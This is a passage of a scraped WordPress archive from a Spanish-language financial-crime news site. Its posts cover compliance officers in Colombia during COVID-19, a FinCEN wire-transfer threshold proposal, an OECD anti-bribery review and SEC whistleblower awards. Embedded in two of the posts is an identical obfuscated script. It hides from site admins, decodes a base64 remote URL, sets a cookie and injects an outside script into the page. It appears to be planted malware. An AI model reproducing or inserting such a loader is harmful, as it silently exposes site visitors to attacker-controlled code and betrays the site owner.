16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: 